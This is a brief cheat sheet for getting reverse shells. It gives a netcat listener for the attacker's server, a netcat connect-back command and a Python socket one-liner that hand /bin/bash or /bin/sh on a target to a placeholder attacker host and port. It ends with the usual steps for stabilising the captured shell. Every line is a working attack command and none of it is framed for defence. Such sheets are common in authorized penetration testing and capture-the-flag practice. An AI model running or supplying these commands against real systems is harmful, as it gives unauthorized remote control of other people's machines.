reverse shell cheatsheet
attack server
nc -lvp [port]
target machine
nc :
nc [attacker] [port] -e /bin/bash
python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACK SERVER]",[ATTACK PORT]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
stabilize shell
python3 -c "import pty;pty.spawn('/bin/bash')"
export TERM=xterm
[^Z]
stty raw -echo; fg